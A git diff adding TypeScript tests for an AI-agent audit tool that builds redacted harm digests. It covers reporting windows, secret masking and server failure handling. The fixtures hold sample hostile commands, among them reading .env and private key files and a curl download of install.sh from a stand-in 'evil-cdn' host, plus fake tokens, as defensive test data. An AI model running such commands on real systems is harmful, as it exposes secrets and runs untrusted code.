+ expect(isHarmful(count({ name: "failproofai/block-rm-rf", severity: "deny" }))).toBe(true);
+ expect(isHarmful(count({ name: "failproofai/sanitize-api-keys", severity: "sanitize" }))).toBe(true);
+ expect(isHarmful(count({ name: "failproofai/warn-git-amend", severity: "warn" }))).toBe(false);
+ expect(isHarmful(count({ name: "failproofai/require-commit-before-stop", severity: "warn" }))).toBe(false);
+ });
+
+ it("includes protect-env-vars despite its severity reading as warn", () => {
+ // `severityForBuiltin` derives severity from the NAME PREFIX, so a policy
+ // that blocks `env`/`printenv` outright reads as hygiene. Its whole subject
+ // is an agent reaching for the environment — the "read my keys" case this
+ // feature exists to report. Inheriting a scoring heuristic's blind spot into
+ // a security digest would be the wrong kind of consistency.
+ expect(isHarmful(count({ name: "failproofai/protect-env-vars", severity: "warn" }))).toBe(true);
+ });
+
+ it("never takes an audit-only detector", () => {
+ // Detectors have no enforcement path, so "the engine would have blocked it"
+ // is not true of any of them.
+ expect(
+ isHarmful(count({ name: "sleep-polling-loop", severity: "warn", source: "audit-detector" })),
+ ).toBe(false);
+ });
+});
+
+describe("selectHarmful — the window", () => {
+ it("drops a policy whose entire history predates the watermark", () => {
+ // The long-running-session case. Its transcript has a fresh mtime, so the
+ // scan opened it; nothing in it is new.
+ const r = result([
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ hits: 40,
+ firstSeen: AUG_01,
+ lastSeen: AUG_07,
+ examples: [example(AUG_01), example(AUG_07)],
+ }),
+ ]);
+ expect(selectHarmful(r, new Date(AUG_10), new Date(AUG_14))).toEqual([]);
+ });
+
+ it("reports the true total when the policy fired entirely inside the window", () => {
+ const r = result([
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ hits: 12,
+ firstSeen: AUG_10,
+ lastSeen: AUG_14,
+ examples: [example(AUG_10)],
+ }),
+ ]);
+ const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14));
+ expect(p.hits).toBe(12);
+ });
+
+ it("counts only in-window examples when activity straddles the boundary", () => {
+ // `hits` is a total over everything scanned and there is no per-event
+ // breakdown to subtract from it. Reporting the total would describe the
+ // wrong period; reporting the in-window examples undercounts but every one
+ // of them is a real event inside the window.
+ const r = result([
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ hits: 40,
+ firstSeen: AUG_01,
+ lastSeen: AUG_14,
+ examples: [example(AUG_01), example(AUG_10), example(AUG_14)],
+ }),
+ ]);
+ const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14));
+ expect(p.hits).toBe(2);
+ expect(p.examples).toHaveLength(2);
+ });
+
+ it("still reports a straddling policy whose kept examples are all older than the window", () => {
+ // The mature-machine case, and the one that made the feature go quiet on
+ // exactly the boxes with the most to say. The audit keeps three examples per
+ // policy, picked in whatever order the transcripts were walked, so on a
+ // machine months into its history all three are routinely old. The
+ // straddling branch counts in-window EXAMPLES, that came out at zero, and
+ // the row was dropped — even though `lastSeen` says the policy fired inside
+ // the window. `firstSeen` never moves back, so it was dropped from every
+ // later report too.
+ const r = result([
+ count({
+ name: "failproofai/block-rm-rf",
+ severity: "deny",
+ hits: 50,
+ firstSeen: "2026-01-01T00:00:00.000Z",
+ lastSeen: AUG_14,
+ examples: [example(AUG_01), example(AUG_01), example(AUG_01)],
+ }),
+ ]);
+ const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14));
+ expect(p).toBeDefined();
+ // One is what `lastSeen` proves and no more — the row exists without
+ // inventing a hit, and it carries no example it cannot place in the window.
+ expect(p.hits).toBe(1);
+ expect(p.examples).toEqual([]);
+ });
+
+ it("undercounts rather than overcounts, so it can delay a digest but never invent one", () => {
+ const r = result([
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ hits: 500,
+ firstSeen: AUG_01,
+ lastSeen: AUG_14,
+ examples: [example(AUG_14)],
+ }),
+ ]);
+ const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14));
+ expect(p.hits).toBeLessThan(500);
+ });
+
+ it("takes everything up to `to` when given no lower bound", () => {
+ const r = result([
+ count({
+ name: "failproofai/block-rm-rf",
+ severity: "deny",
+ hits: 3,
+ firstSeen: AUG_01,
+ lastSeen: AUG_07,
+ examples: [example(AUG_01)],
+ }),
+ ]);
+ const [p] = selectHarmful(r, undefined, new Date(AUG_14));
+ expect(p.hits).toBe(3);
+ });
+
+ it("excludes activity after the window closed", () => {
+ // A clock skew, or a scan that raced an event. It belongs to the next
+ // report, not this one.
+ const r = result([
+ count({
+ name: "failproofai/block-rm-rf",
+ severity: "deny",
+ firstSeen: "2999-01-01T00:00:00.000Z",
+ lastSeen: "2999-01-02T00:00:00.000Z",
+ }),
+ ]);
+ expect(selectHarmful(r, new Date(AUG_07), new Date(AUG_14))).toEqual([]);
+ });
+
+ it("keeps an unplaceable policy on a first report and drops it on a later one", () => {
+ // No usable timestamps, so it cannot be placed. Silence about something new
+ // is worse than repeating something old, so each window fails the way it
+ // can afford to. Keyed on "is this the first report", NOT on "is there a
+ // lower bound" — a first report now always has one.
+ const r = result([count({ name: "failproofai/block-sudo", severity: "deny", hits: 2 })]);
+ expect(
+ selectHarmful(r, new Date(AUG_07), new Date(AUG_14), { includeUnplaceable: true }),
+ ).toHaveLength(1);
+ expect(selectHarmful(r, new Date(AUG_07), new Date(AUG_14))).toEqual([]);
+ });
+
+ it("redacts every example it sends", () => {
+ // Built from the REAL homedir rather than a hardcoded /home/sidd. The
+ // redactor resolves `homedir()` to decide whether a path earns the `~`
+ // prefix, so a literal path only tildes on the machine that wrote the test
+ // — this passed locally and failed on CI, where HOME is /home/runner.
+ const secretPath = `${homedir()}/clients/big-bank/.env`;
+ const r = result([
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ firstSeen: AUG_10,
+ lastSeen: AUG_10,
+ examples: [example(AUG_10, `cat ${secretPath}`)],
+ }),
+ ]);
+ const [p] = selectHarmful(r, undefined, new Date(AUG_14));
+ expect(p.examples[0]).not.toContain("big-bank");
+ expect(p.examples[0]).toContain("~/…/.env");
+ });
+
+ it("orders by hits so a truncated digest keeps the rows that matter", () => {
+ const r = result([
+ count({ name: "failproofai/block-sudo", severity: "deny", hits: 2, firstSeen: AUG_10, lastSeen: AUG_10 }),
+ count({ name: "failproofai/block-rm-rf", severity: "deny", hits: 9, firstSeen: AUG_10, lastSeen: AUG_10 }),
+ ]);
+ const out = selectHarmful(r, undefined, new Date(AUG_14));
+ expect(out.map((p) => p.policy)).toEqual(["block-rm-rf", "block-sudo"]);
+ });
+});
+
+describe("buildHarmReport", () => {
+ it("uses the scan's own scannedAt as the window end, not the current clock", () => {
+ // The instant the evidence was gathered. A later reading would advance the
+ // watermark past events that happened while the scan was still running —
+ // events no report would ever cover.
+ const r = buildHarmReport(result([], AUG_10), AUG_07, 7);
+ expect(r.window_to).toBe(AUG_10);
+ expect(r.window_from).toBe(AUG_07);
+ });
+
+ it("bounds a FIRST report to one interval rather than all of history", () => {
+ // Found by running it: against a real machine the unbounded first window
+ // covered 230 sessions and 22,059 tool calls and produced 5,815 findings.
+ // Every number was true and the digest was still wrong — an opening email
+ // describing an agent's entire recorded history as though it were this
+ // week's news, tripping the critical bypass on day one for everyone.
+ const r = buildHarmReport(result([], AUG_14), undefined, 7);
+ expect(r.window_from).toBe(AUG_07);
+ expect(r.window_to).toBe(AUG_14);
+ });
+
+ it("honours the configured interval for that first window", () => {
+ const r = buildHarmReport(result([], AUG_14), undefined, 4);
+ expect(r.window_from).toBe(AUG_10);
+ });
+
+ it("never lets the watermark sit AFTER the window it opens", () => {
+ // The watermark is the server's clock and `scannedAt` is this machine's, so
+ // a backwards jump between them — NTP correcting a fast RTC, a snapshot
+ // restore, a dual-boot machine writing localtime to the hardware clock —
+ // put `from` after `to`. Nothing matches such a window, so every finding
+ // was dropped: silently, and permanently, because the watermark only moves
+ // forward so the window never re-opens, while the run's outcome line still
+ // read normal.
+ const r = buildHarmReport(result([], AUG_07), AUG_14, 7);
+
+ expect(Date.parse(r.window_from!)).toBeLessThan(Date.parse(r.window_to));
+ // One interval back from the scan, so the digest is merely narrow.
+ expect(r.window_to).toBe(AUG_07);
+ expect(r.window_from).toBe("2026-07-31T12:00:00.000Z");
+ });
+
+ it("still trusts a watermark that is genuinely inside the window", () => {
+ // The clamp must not fire on the ordinary case, where it would silently
+ // widen every window to a full interval and re-report old findings.
+ const r = buildHarmReport(result([], AUG_14), AUG_10, 7);
+ expect(r.window_from).toBe(AUG_10);
+ });
+
+ it("drops history older than the first window", () => {
+ const r = buildHarmReport(
+ result(
+ [
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ hits: 500,
+ firstSeen: "2026-01-01T00:00:00.000Z",
+ lastSeen: AUG_01,
+ examples: [example(AUG_01)],
+ }),
+ ],
+ AUG_14,
+ ),
+ undefined,
+ 7,
+ );
+ expect(r.harmful).toEqual([]);
+ });
+
+ it("produces an empty harmful list rather than nothing at all", () => {
+ // A quiet report is still a report — it is what keeps "scanned and found
+ // nothing" distinguishable from "stopped reporting".
+ expect(buildHarmReport(result([]), AUG_07, 7).harmful).toEqual([]);
+ });
+});
+
+describe("the upper edge of the window", () => {
+ const AUG_20 = "2026-08-20T12:00:00.000Z";
+
+ it("does not report hits that happened after `to`", () => {
+ // The straddle test above covers the LOWER edge — activity that began
+ // before the window. This is the other one: a policy that started inside
+ // the window and was still firing after it closed. `wholly` tested only the
+ // lower bound, so this reported `hits: 40` — every hit, including the ones
+ // after `to` — while its examples were correctly filtered to the window.
+ const r = result(
+ [
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ hits: 40,
+ firstSeen: AUG_10,
+ lastSeen: AUG_20,
+ examples: [example(AUG_10), example(AUG_14), example(AUG_20)],
+ }),
+ ],
+ AUG_20,
+ );
+
+ const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14));
+ expect(p.hits).toBe(2);
+ expect(p.examples).toHaveLength(2);
+ });
+
+ it("would otherwise count the same hits again in the next window", () => {
+ // Why the early report is worse than a late one: the watermark advances to
+ // `to`, so the next window STARTS where this one ended and those same
+ // post-window hits fall inside it. Reported twice, from one occurrence.
+ const r = result(
+ [
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ hits: 40,
+ firstSeen: AUG_10,
+ lastSeen: AUG_20,
+ examples: [example(AUG_10), example(AUG_14), example(AUG_20)],
+ }),
+ ],
+ AUG_20,
+ );
+
+ const [first] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14));
+ const [second] = selectHarmful(r, new Date(AUG_14), new Date(AUG_20));
+ expect(first.hits + second.hits).toBeLessThanOrEqual(3);
+ });
+
+ it("still reports the real total when the policy fits inside both edges", () => {
+ // The fix must not turn every row into an example count — a policy wholly
+ // inside the window still reports `hits`, which is larger than the handful
+ // of examples the audit kept.
+ const r = result([
+ count({
+ name: "failproofai/block-env-files",
+ severity: "deny",
+ hits: 40,
+ firstSeen: AUG_10,
+ lastSeen: AUG_14,
+ examples: [example(AUG_10)],
+ }),
+ ]);
+ const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14));
+ expect(p.hits).toBe(40);
+ });
+});
diff --git a/__tests__/audit/redact-example.test.ts b/__tests__/audit/redact-example.test.ts
new file mode 100644
index 000000000..ded6ce649
--- /dev/null
+++ b/__tests__/audit/redact-example.test.ts
@@ -0,0 +1,315 @@
+/**
+ * The redactor is the only thing standing between a real command line and an
+ * email, so these test what it REMOVES rather than what it keeps.
+ */
+import { describe, it, expect } from "vitest";
+
+import {
+ REDACTED_EXAMPLE_MAX_CHARS,
+ maskSecrets,
+ redactExample,
+ shortenPaths,
+} from "../../src/audit/redact-example";
+
+const HOME = "/home/sidd";
+
+describe("maskSecrets", () => {
+ it("masks every secret shape the sanitize policies block on", () => {
+ // Sharing `SECRET_PATTERNS` with the policies is the point; this asserts the
+ // sharing actually reaches the redactor rather than being a comment.
+ const cases: [string, string][] = [
+ ["curl -H 'Authorization: Bearer abcdefghijklmnopqrstuvwxyz123'", "bearer token"],
+ ["export ANTHROPIC_API_KEY=sk-ant-abcdefghijklmnopqrstuvwxyz", "Anthropic API key"],
+ ["gh auth login --with-token ghp_abcdefghijklmnopqrstuvwxyz1234567890", "GitHub personal access token"],
+ ["aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE", "AWS access key ID"],
+ ["psql postgresql://admin:hunter2@db.internal:5432/prod", "database credentials"],
+ ["cat key.pem -----BEGIN RSA PRIVATE KEY-----", "private key"],
+ ];
+ for (const [input, label] of cases) {
+ const out = maskSecrets(input);
+ expect(out, input).toContain(`[REDACTED: ${label}]`);
+ }
+ });
+
+ it("masks EVERY occurrence, not just the first", () => {
+ // The `lastIndex` trap: a shared global regex would carry position across
+ // calls and skip matches depending on where it stopped last time — which
+ // only shows up once a policy has more than one example, and reads as
+ // flakiness rather than logic.
+ const two = "AKIAIOSFODNN7EXAMPLE and AKIAJKLMNOPQRSTUVWXY";
+ const out = maskSecrets(two);
+ expect(out).not.toMatch(/AKIA[A-Z0-9]{16}/);
+ expect(out.match(/\[REDACTED: AWS access key ID\]/g)).toHaveLength(2);
+ });
+
+ it("is stable across repeated calls", () => {
+ // The same trap from the other side: calling twice must give the same
+ // answer, which a stateful shared regex would not.
+ const s = "ghp_abcdefghijklmnopqrstuvwxyz1234567890";
+ expect(maskSecrets(s)).toBe(maskSecrets(s));
+ });
+
+ it("leaves ordinary text alone", () => {
+ const s = "git commit -m 'fix the parser'";
+ expect(maskSecrets(s)).toBe(s);
+ });
+});
+
+describe("shortenPaths", () => {
+ it("reduces a home path to ~/…/basename", () => {
+ expect(shortenPaths("/home/sidd/work/acme/src/db.ts", HOME)).toBe("~/…/db.ts");
+ });
+
+ it("drops the project directory, which is the most identifying token", () => {
+ // Usually a client or employer name. The basename is what makes a finding
+ // recognisable; the chain above it is a map of someone's disk.
+ const out = shortenPaths("/home/sidd/clients/big-bank-plc/.env.production", HOME);
+ expect(out).toBe("~/…/.env.production");
+ expect(out).not.toContain("big-bank-plc");
+ });
+
+ it("shortens paths OUTSIDE home too", () => {
+ // "not under home" is not the same as "safe to send" — a build agent's
+ // checkout lives under /build as often as anywhere.
+ expect(shortenPaths("/etc/ssl/private/server.key", HOME)).toBe("/…/server.key");
+ expect(shortenPaths("/var/lib/secrets/token.yml", HOME)).toBe("/…/token.yml");
+ });
+
+ it("keeps a command recognisable around the path", () => {
+ expect(shortenPaths("cat /home/sidd/work/acme/.env", HOME)).toBe("cat ~/…/.env");
+ });
+
+ it("leaves relative paths and flags alone", () => {
+ const s = "rm -rf ./node_modules --force";
+ expect(shortenPaths(s, HOME)).toBe(s);
+ });
+});
+
+describe("redactExample", () => {
+ it("masks before shortening, so a secret inside a path cannot be sliced apart", () => {
+ // If shortening ran first it would cut the path mid-token, and the fragment
+ // would no longer match its own pattern — shipping half a credential.
+ const out = redactExample("/home/sidd/ghp_abcdefghijklmnopqrstuvwxyz1234567890/x.txt", HOME);
+ expect(out).not.toContain("ghp_abcdefghijklmnopqrstuvwxyz1234567890");
+ expect(out).toContain("[REDACTED: GitHub personal access token]");
+ });
+
+ it("collapses a multi-line command onto one row", () => {
+ // A heredoc reaches the digest as one line; a raw newline breaks the
+ // plain-text layout and says nothing the single line does not.
+ expect(redactExample("cat < {
+ const out = redactExample("x".repeat(500), HOME);
+ expect(out.length).toBe(REDACTED_EXAMPLE_MAX_CHARS);
+ expect(out.endsWith("…")).toBe(true);
+ });
+
+ it("handles the realistic case end to end", () => {
+ const out = redactExample(
+ "cat /home/sidd/work/acme/.env.production | grep sk-ant-abcdefghijklmnopqrstuvwxyz",
+ HOME,
+ );
+ expect(out).toContain("~/…/.env.production");
+ expect(out).toContain("[REDACTED: Anthropic API key]");
+ expect(out).not.toContain("acme");
+ expect(out).not.toContain("sk-ant-abcdefghijklmnopqrstuvwxyz");
+ });
+});
+
+describe("maskTruncatedSecret — the fragment case", () => {
+ it("masks a secret that was cut short before it reached us", () => {
+ // Found by running a real digest, which came back containing
+ // `authorization: Bearer s` — the first character of a live token. The
+ // audit truncates examples to 80 chars at CAPTURE time, so a command
+ // ending in a credential arrives with the credential's tail already gone
+ // and the full pattern no longer matches it. One character is not a usable
+ // secret; the point is that the number is set by where the truncation
+ // landed, not by anything we control.
+ const out = redactExample('curl "https://x.test/v1/models" -H "authorization: Bearer s', HOME);
+ expect(out).toContain("[REDACTED: bearer token]");
+ expect(out).not.toMatch(/Bearer s$/);
+ });
+
+ it("masks every truncated key prefix we know how to start", () => {
+ for (const [frag, label] of [
+ ["export KEY=sk-ant-abc", "Anthropic API key"],
+ ["gh auth --token ghp_abc", "GitHub personal access token"],
+ ["aws_access_key_id = AKIAIOS", "AWS access key ID"],
+ ["stripe --key sk_live_abc", "Stripe live secret key"],
+ ["google AIzaSyA", "Google API key"],
+ ["cat key.pem -----BEGIN RSA", "private key"],
+ ] as const) {
+ expect(redactExample(frag, HOME), frag).toContain(`[REDACTED: ${label}]`);
+ }
+ });
+
+ it("only fires at the END, where a truncation can be", () => {
+ // A prefix in the middle with text after it was not cut — it either
+ // matched a full pattern already or was never a secret. Masking it would
+ // eat the rest of a legitimate command.
+ const out = redactExample("sk-short && git status", HOME);
+ expect(out).toContain("git status");
+ });
+
+ it("leaves an ordinary command ending in a word alone", () => {
+ expect(redactExample("git commit -m fixup", HOME)).toBe("git commit -m fixup");
+ });
+});
+
+describe("shortenPaths — public roots", () => {
+ it("leaves /dev, /proc and /sys intact", () => {
+ // A real digest came back with `2>/…/null`, which reads as though
+ // something was hidden when nothing was. These are identical on every
+ // machine and identify nobody.
+ expect(shortenPaths("cmd 2>/dev/null", HOME)).toBe("cmd 2>/dev/null");
+ expect(shortenPaths("cat /proc/cpuinfo", HOME)).toBe("cat /proc/cpuinfo");
+ expect(shortenPaths("cat /sys/class/net", HOME)).toBe("cat /sys/class/net");
+ });
+
+ it("still shortens everything else outside home", () => {
+ expect(shortenPaths("/etc/ssl/private/server.key", HOME)).toBe("/…/server.key");
+ });
+});
+
+describe("the home directory itself", () => {
+ it("is `~`, never `~/…/`", () => {
+ // The one path guaranteed to name a person was the one the redactor spelled
+ // out: `/home/sidd` came back as `~/…/sidd`, keeping the username as the
+ // basename immediately after the `~` whose whole job is to stand in for it.
+ // It shipped to the api-server in `harmful[].examples` and into the digest.
+ expect(redactExample("cd /home/sidd", "/home/sidd")).toBe("cd ~");
+ expect(redactExample("du -sh /home/sidd", "/home/sidd")).toBe("du -sh ~");
+ // macOS shape, same defect.
+ expect(redactExample("cd /Users/sidd", "/Users/sidd")).toBe("cd ~");
+ });
+
+ it("keeps the trailing slash, so a directory still reads as one", () => {
+ expect(redactExample("ls /home/sidd/", "/home/sidd")).toBe("ls ~/");
+ });
+
+ it("tolerates a home path that itself ends in a slash", () => {
+ expect(redactExample("cd /home/sidd", "/home/sidd/")).toBe("cd ~");
+ });
+
+ it("still shortens paths BELOW home, which is the ordinary case", () => {
+ expect(redactExample("cat /home/sidd/.env", "/home/sidd")).toBe("cat ~/…/.env");
+ expect(redactExample("cd /home/sidd/projects/api", "/home/sidd")).toBe("cd ~/…/api");
+ });
+
+ it("never emits the username for a sibling home either", () => {
+ // `/home/sidd2` starts with `/home/sidd` as a STRING but is a different
+ // directory — it must not be mistaken for the home itself.
+ const out = redactExample("cat /home/sidd2/notes.txt", "/home/sidd");
+ expect(out).not.toContain("sidd2");
+ });
+});
+
+describe("maskAssignedSecrets — the shape the blocking patterns do not carry", () => {
+ // `protect-env-vars` is in the digest's harmful set and its dominant trigger
+ // is `export VAR=…`, whose example is the WHOLE command. Every one of these
+ // reached the server and the email verbatim before this masking existed:
+ // `SECRET_PATTERNS` matches vendor prefixes, not assignments.
+ it("masks the value of an assignment whose name says it is a credential", () => {
+ const cases = [
+ "export DATABASE_PASSWORD=hunter2-prod-acme",
+ "export SLACK_BOT_TOKEN=xoxb-2314-4432-aBcDeFgHiJkLmNoPqRsTuVwX",
+ "export HF_TOKEN=hf_AbCdEfGhIjKlMnOpQrStUvWxYz012345",
+ "export NPM_TOKEN=npm_aBcDeFgHiJkLmNoPqRsTuVwXyZ0123456789",
+ "export GITLAB_TOKEN=glpat-AbCdEfGhIjKlMnOpQr",
+ "export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY",
+ "FOO_SECRET=abc123 ./run.sh",
+ "PGPASSWORD=letmein psql -h prod",
+ "npm config set _authToken=abcdef123456",
+ ];
+ for (const input of cases) {
+ const out = redactExample(input, HOME);
+ expect(out, input).toContain("[REDACTED: assigned secret]");
+ // The secret itself must be gone; the NAME is kept on purpose, because
+ // "which credential" is the actionable half of the finding.
+ const value = input.split("=")[1].split(" ")[0];
+ expect(out, input).not.toContain(value);
+ }
+ });
+
+ it("keeps the variable name, so the digest still says what was exposed", () => {
+ expect(redactExample("export DATABASE_PASSWORD=hunter2", HOME)).toBe(
+ "export DATABASE_PASSWORD=[REDACTED: assigned secret]",
+ );
+ });
+
+ it("masks credentials inline in a URL, on schemes the block list omits", () => {
+ // CONNECTION_STRING_RE deliberately excludes http/https, so this shape was
+ // covered by nothing.
+ const out = redactExample("curl https://user:p4sswrd@internal.example.com/api", HOME);
+ expect(out).toContain("[REDACTED: URL credentials]");
+ expect(out).not.toContain("p4sswrd");
+ });
+
+ it("masks curl's basic-auth flag in both spellings", () => {
+ for (const flag of ["-u", "--user"]) {
+ const out = redactExample(`curl ${flag} admin:s3cr3t https://api.internal/x`, HOME);
+ expect(out, flag).toContain("[REDACTED: basic auth]");
+ expect(out, flag).not.toContain("s3cr3t");
+ }
+ });
+
+ it("masks secrets passed as query parameters", () => {
+ const out = redactExample('curl "https://api.x/v1?token=abcdef123456&sig=deadbeef"', HOME);
+ expect(out).not.toContain("abcdef123456");
+ expect(out).not.toContain("deadbeef");
+ });
+
+ it("leaves ordinary assignments alone", () => {
+ // Over-redaction is cheap here but not free: a digest of `[REDACTED]` says
+ // nothing. These are the names that LOOK like credentials and are not.
+ for (const input of [
+ "export EDITOR=vim",
+ "MONKEY_COUNT=12 PASSENGERS=4 AUTHOR=jane",
+ "NODE_ENV=production npm run build",
+ ]) {
+ expect(redactExample(input, HOME), input).not.toContain("[REDACTED");
+ }
+ });
+});
+
+describe("secret prefixes only fire at a token boundary", () => {
+ it("does not find an API key inside an ordinary word", () => {
+ // `sk-` unanchored matched the middle of `risk-scoring`, which both invents
+ // a credential the digest then reports and destroys the identifying tail.
+ expect(redactExample("kubectl get pods -n risk-scoring", HOME)).toBe(
+ "kubectl get pods -n risk-scoring",
+ );
+ for (const word of ["task-runner", "desk-setup", "brisk-mode"]) {
+ expect(redactExample(`npm run ${word}`, HOME), word).toBe(`npm run ${word}`);
+ }
+ });
+
+ it("still masks a real truncated key at a boundary", () => {
+ expect(redactExample("export MY_KEY=sk-abcdefghijklmnop", HOME)).toContain("[REDACTED");
+ expect(redactExample("curl -H 'x: Bearer abcdefghij", HOME)).toContain("[REDACTED: bearer token]");
+ });
+});
+
+describe("a URL's host survives path shortening", () => {
+ it("keeps the domain, which is the whole finding in a curl-pipe-sh hit", () => {
+ // The host was being deleted as though it were a directory: this came out
+ // as `curl https:/…/install.sh`, with the one token that mattered gone.
+ const out = redactExample("curl https://evil-cdn.example.com/install.sh", HOME);
+ expect(out).toContain("evil-cdn.example.com");
+ expect(out).toContain("install.sh");
+ });
+
+ it("still elides a deep URL path", () => {
+ expect(redactExample("curl https://cdn.example.com/a/b/c/install.sh", HOME)).toBe(
+ "curl https://cdn.example.com/…/install.sh",
+ );
+ });
+
+ it("still shortens ordinary absolute paths", () => {
+ expect(redactExample("head /var/lib/acme/secrets.yml", HOME)).toBe("head /…/secrets.yml");
+ });
+});
diff --git a/__tests__/audit/report-harm-boundaries.test.ts b/__tests__/audit/report-harm-boundaries.test.ts
new file mode 100644
index 000000000..5d69177a0
--- /dev/null
+++ b/__tests__/audit/report-harm-boundaries.test.ts
@@ -0,0 +1,124 @@
+// @vitest-environment node
+/**
+ * The two claims the harm digest rests on that nothing was pinning.
+ *
+ * 1. A bare `failproofai audit` sends nothing. This is the load-bearing privacy
+ * promise — `audit --help` and the docs both make it, and `reportHarm` is
+ * the only thing in the audit that can reach the network with a transcript
+ * excerpt in hand.
+ * 2. An older api-server degrades rather than throwing. `report-harm.test.ts`
+ * asserts that against `submitMock.mockRejectedValue(...)`, which proves
+ * `reportHarm`'s try/catch and says nothing about what the CLIENT does with
+ * a 404 — and the 58 lines of coverage deleted from
+ * `api-server-client.test.ts` were the only tests that had ever touched
+ * that layer.
+ */
+import { describe, it, expect, beforeEach, afterEach, vi } from "vitest";
+import { readFileSync } from "node:fs";
+import { resolve } from "node:path";
+
+import { AuthApiError, submitAuditReport } from "../../lib/auth/api-server-client";
+
+describe("only a SCHEDULED audit can report harm", () => {
+ // Structural rather than behavioural on purpose: driving `runAuditCli` starts
+ // a dashboard server and scans the real machine, so the honest way to pin
+ // "this call site is unreachable from the manual path" is to assert where the
+ // call site IS. The repo already reads committed sources this way for the
+ // dogfood configs and for the Rust/TS harness-key pair.
+ const source = readFileSync(resolve(__dirname, "../../src/audit/cli.ts"), "utf8");
+
+ it("calls reportHarm from exactly one place", () => {
+ // A second call site is how this promise would break: the manual path and
+ // the scheduled path share almost everything else.
+ const calls = source.match(/\breportHarm\s*\(/g) ?? [];
+ expect(calls).toHaveLength(1);
+ });
+
+ it("puts that call inside runScheduledAudit, not runAuditCli", () => {
+ const scheduledAt = source.indexOf("export async function runScheduledAudit");
+ const manualAt = source.indexOf("export async function runAuditCli");
+ const callAt = source.search(/\breportHarm\s*\(/);
+ expect(scheduledAt).toBeGreaterThan(-1);
+ expect(manualAt).toBeGreaterThan(-1);
+ // The manual entry point is declared after the scheduled one, so the call
+ // belongs strictly between them.
+ expect(manualAt).toBeGreaterThan(scheduledAt);
+ expect(callAt).toBeGreaterThan(scheduledAt);
+ expect(callAt).toBeLessThan(manualAt);
+ });
+});
+
+describe("submitAuditReport against a server that does not have the route", () => {
+ const TOKEN = "at";
+ const BODY = {
+ machine_id: "m1",
+ label: "box",
+ platform: "linux",
+ window_from: "2026-08-07T00:00:00.000Z",
+ window_to: "2026-08-14T00:00:00.000Z",
+ harmful: [],
+ };
+
+ let fetchSpy: ReturnType;
+
+ function respond(status: number, body: string, contentType = "application/json") {
+ fetchSpy.mockResolvedValue(
+ new Response(body, { status, headers: { "content-type": contentType } }),
+ );
+ }
+
+ beforeEach(() => {
+ fetchSpy = vi.spyOn(globalThis, "fetch");
+ });
+
+ afterEach(() => {
+ fetchSpy.mockRestore();
+ });
+
+ it("raises a typed error for a 404, which is the older-server case", async () => {
+ // The rollout note says an older api-server 404s and `reportHarm` turns
+ // that into `{kind:"failed"}` without throwing. That is only true if what
+ // arrives here is a catchable AuthApiError rather than, say, a JSON parse
+ // failure on an HTML body.
+ respond(404, JSON.stringify({ error: "not_found", message: "no such route" }));
+
+ await expect(submitAuditReport(TOKEN, BODY)).rejects.toBeInstanceOf(AuthApiError);
+ });
+
+ it("does not choke on an HTML error page from a proxy", async () => {
+ // A corporate proxy answers with `text/html`, not JSON. A body-parse
+ // exception here would escape as something other than AuthApiError and
+ // reach `reportHarm`'s catch as an unrecognised shape.
+ respond(502, "Bad Gateway", "text/html");
+
+ await expect(submitAuditReport(TOKEN, BODY)).rejects.toBeInstanceOf(Error);
+ });
+
+ it("surfaces a 401 as a 401, so the caller can tell auth from everything else", async () => {
+ respond(401, JSON.stringify({ error: "unauthorized", message: "expired" }));
+
+ await expect(submitAuditReport(TOKEN, BODY)).rejects.toMatchObject({ status: 401 });
+ });
+
+ it("returns the parsed body on success", async () => {
+ respond(
+ 200,
+ JSON.stringify({ emailed: true, next_window_from: "2026-08-14T00:00:00.000Z" }),
+ );
+
+ await expect(submitAuditReport(TOKEN, BODY)).resolves.toMatchObject({ emailed: true });
+ });
+
+ it("sends the access token, and never the destination address", async () => {
+ // The api-server resolves the address from the token. A body carrying one
+ // would mean the machine, rather than the account, decided where a digest
+ // goes.
+ respond(200, JSON.stringify({ emailed: false, next_window_from: BODY.window_to }));
+
+ await submitAuditReport(TOKEN, BODY);
+
+ const [, init] = fetchSpy.mock.calls[0] as [string, RequestInit];
+ expect(JSON.stringify(init.headers)).toContain(TOKEN);
+ expect(String(init.body)).not.toMatch(/@/);
+ });
+});
diff --git a/__tests__/audit/report-harm.test.ts b/__tests__/audit/report-harm.test.ts
new file mode 100644
index 000000000..9e7ccb08c
--- /dev/null
+++ b/__tests__/audit/report-harm.test.ts
@@ -0,0 +1,287 @@
+/**
+ * The reporting side effect, and the property that matters most about it:
+ * NOTHING here may break a scan.
+ *
+ * By the time `reportHarm` runs the scan has already completed and its result is
+ * already on disk. A dead network, an expired session or an api-server having a
+ * bad day must leave the local feature working and the local dashboard correct —
+ * a person who never enabled emailed reports must not be able to tell this code
+ * exists at all.
+ */
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { mkdtempSync, mkdirSync, rmSync, writeFileSync, readFileSync, existsSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { resolve } from "node:path";
+
+const { readConfigMock, getTokenMock, submitMock } = vi.hoisted(() => ({
+ readConfigMock: vi.fn(),
+ getTokenMock: vi.fn(),
+ submitMock: vi.fn(),
+}));
+
+vi.mock("../../src/hooks/fp-config", () => ({ readConfig: readConfigMock }));
+vi.mock("../../lib/auth/auth-store", () => ({ getValidAccessToken: getTokenMock }));
+vi.mock("../../lib/auth/api-server-client", async (orig) => ({
+ ...(await orig()),
+ submitAuditReport: submitMock,
+}));
+
+import { reportHarm, describeOutcome } from "../../src/audit/report-harm";
+import { auditMachineFile } from "../../src/hooks/fp-home";
